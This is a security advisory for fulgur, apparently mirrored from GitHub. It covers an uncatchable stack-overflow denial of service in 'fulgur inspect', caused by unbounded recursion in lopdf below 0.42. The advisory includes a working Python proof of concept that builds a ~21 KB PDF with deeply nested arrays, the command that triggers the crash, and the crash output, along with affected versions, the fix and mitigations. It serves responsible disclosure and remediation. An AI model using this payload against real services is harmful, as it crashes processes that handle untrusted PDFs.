# GHSA-M58V-WPJX-9FC8: Uncatchable stack overflow (DoS) in fulgur inspect via lopdf \< 0.42

- Database: GitHub
- Severity: CVSS 5.5 (Medium)
- Published: 2026-07-12
- Modified: 2026-07-12

## Affected versions

- fulgur (crates.io): from 0.5.13, fixed in 0.30.0
- fulgur-cli (crates.io): from 0.5.13, fixed in 0.30.0

## Description

### Summary

`fulgur inspect <file>` (a debug/verification utility for inspecting the
text/image/metadata layout of fulgur's own generated PDFs) is vulnerable to
an uncatchable stack overflow (Denial of Service) when parsing a maliciously
crafted PDF. Affected fulgur versions pinned `lopdf = "0.40.0"`, which is
vulnerable to **RUSTSEC-2026-0187**: `lopdf::Document::load` parses nested
PDF arrays/dictionaries with unbounded recursion. A ~21 KB PDF whose Catalog
contains a deeply nested array (`/X [[[ … ]]]`, ~10,000 levels) exhausts the
call stack the moment the file is opened, aborting the process with SIGABRT.

The overflow is a hard `abort()`, not a Rust panic, so it cannot be
contained with `catch_unwind`. Any user or system that runs `fulgur inspect`
on an untrusted PDF can be crashed by a small purely black-box payload.

### Affected versions

- **fulgur / fulgur-cli `>= 0.5.13, < 0.30.0`** — inspect was introduced in
  v0.5.13; lopdf was pinned to 0.40.0 until v0.29.0.
- **Fixed in fulgur / fulgur-cli 0.30.0** — commit `fbbb5290` (build(deps):
  bump lopdf from 0.40.0 to 0.42.0) upgraded lopdf to a version that adds
  recursion-depth limits to `Document::load`.

### Details

Fulgur's PDF inspection path loads attacker-controlled input directly
through the vulnerable lopdf entry point, with no recursion-depth guard and
no process isolation:

```rust
// crates/fulgur/src/inspect.rs:55
pub fn inspect(path: &Path) -> crate::Result<InspectResult> {
    let doc = lopdf::Document::load(path)  // untrusted input, unbounded recursion
        .map_err(|e| crate::Error::Other(format!("Failed to load PDF: {e}")))?;
    ...
}
```

- Reached from the CLI at `crates/fulgur-cli/src/main.rs:681` (`Commands::Inspect`).
- Dependency pin (fixed): `crates/fulgur/Cargo.toml:36` --> `lopdf = "0.42.0"`
  (RUSTSEC-2026-0187 affects ≤ 0.41.0; fixed in 0.42.0).

lopdf parses the nested array eagerly during `load`, so merely opening the
file triggers the recursion.

### Scope of exposure

- `inspect` is a **debug/verification utility** intended to introspect the
  text/image/metadata layout of PDFs produced by fulgur itself. It is not a
  general-purpose PDF parser and is not part of the HTML→PDF rendering
  path.
- `inspect.rs:55` is the only sink that reaches `lopdf::Document::load` with
  untrusted input.
- All other `lopdf::Document::load_mem` call sites in the workspace are
  test-only helpers that read fulgur's own generated PDFs.
- The `pyfulgur` and `fulgur-ruby` bindings only perform HTML→PDF rendering
  and do not expose `inspect`.
- Practical exposure: a developer or automation running `fulgur inspect` on
  an attacker-supplied PDF, or a service that wraps `fulgur::inspect::inspect`
  and feeds it untrusted uploads. The HTML→PDF rendering path is unaffected.

### PoC

1. Generate the malicious PDF:

```python
#!/usr/bin/env python3
DEPTH = 10380
nested = b"[" * DEPTH + b"]" * DEPTH
objs = [
    b"<< /Type /Catalog /Pages 2 0 R /X " + nested + b" >>",
    b"<< /Type /Pages /Kids [] /Count 0 >>",
]
buf = bytearray(b"%PDF-1.7\n")
offs = []
for i, body in enumerate(objs, 1):
    offs.append(len(buf))
    buf += f"{i} 0 obj\n".encode() + body + b"\nendobj\n"
xref = len(buf); n = len(objs) + 1
buf += f"xref\n0 {n}\n".encode() + b"0000000000 65535 f \n"
for o in offs: buf += f"{o:010d} 00000 n \n".encode()
buf += b"trailer\n" + f"<< /Size {n} /Root 1 0 R >>\n".encode()
buf += b"startxref\n" + f"{xref}\n".encode() + b"%%EOF\n"
open("poc.pdf", "wb").write(buf)  # ~21 KB
```

2. Trigger on an affected version (`< 0.30.0`):

```bash
fulgur inspect poc.pdf; echo "exit=$?"
```

Observed output:

```text
thread '<unknown>' has overflowed its stack
fatal runtime error: stack overflow, aborting
Aborted (core dumped)
exit=134  # 128 + SIGABRT(6)
```

On fulgur `>= 0.30.0` the same PoC completes cleanly (`exit=0`, empty
`InspectResult`), because lopdf 0.42.0 enforces a recursion-depth limit.

### Impact

- **Type**: CWE-674 Uncontrolled Recursion --> stack exhaustion --> Denial
  of Service (process abort). No RCE or memory corruption.
- **Attack vector**: single crafted PDF (~21 KB, black-box).
- **Affected**: CLI users and automated pipelines that run `fulgur inspect`
  (or the underlying `fulgur::inspect::inspect` library API) on untrusted
  PDFs.
- **Not affected**: HTML→PDF rendering path and language bindings.

**CVSS rationale**: `inspect` is documented as a debug/verification
utility for fulgur's own generated PDFs, not a general-purpose PDF parser
intended for untrusted input. The realistic attack model is therefore
"a developer or operator runs `fulgur inspect` on an attacker-supplied
PDF" — hence AV:L (local file input) with UI:R (a user has to invoke the
command). Adopters that do expose `fulgur::inspect::inspect` behind a
network service processing untrusted uploads should re-score under
§3.10 (Environmental) with AV:N (yielding 7.5 High), matching the CVSS
already assigned to fulgur's HTML→PDF-path DoS advisories
(GHSA-j5cx-ph8g-95v3, GHSA-4rf6-qx84-q9fv, GHSA-395p-pj7r-jm42) where
untrusted input on a network face is the intended use case.

### Mitigation

- **Upgrade fulgur / fulgur-cli to 0.30.0 or later**. This transitively
  brings in lopdf ≥ 0.42.0, which caps recursion depth in `Document::load`.
- Defense-in-depth: parse untrusted PDFs in a subprocess so an abort in
  the parser does not take down the calling process.

### Credits

Reported by [@swetha-subramanian6](https://github.com/swetha-subramanian6).

### References

- Upstream advisory: [RUSTSEC-2026-0187](https://rustsec.org/advisories/RUSTSEC-2026-0187.html)
  (lopdf, `Document::load` uncontrolled recursion)
- Fix commit: [`fbbb5290`](https://github.com/fulgur-rs/fulgur/commit/fbbb5290)
  (`build(deps): bump lopdf from 0.40.0 to 0.42.0`)
- Release: [`v0.30.0`](https://github.com/fulgur-rs/fulgur/releases/tag/v0.30.0)

## References

- https://github.com/fulgur-rs/fulgur/security/advisories/GHSA-m58v-wpjx-9fc8

Page: https://cve.now/GHSA-M58V-WPJX-9FC8

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
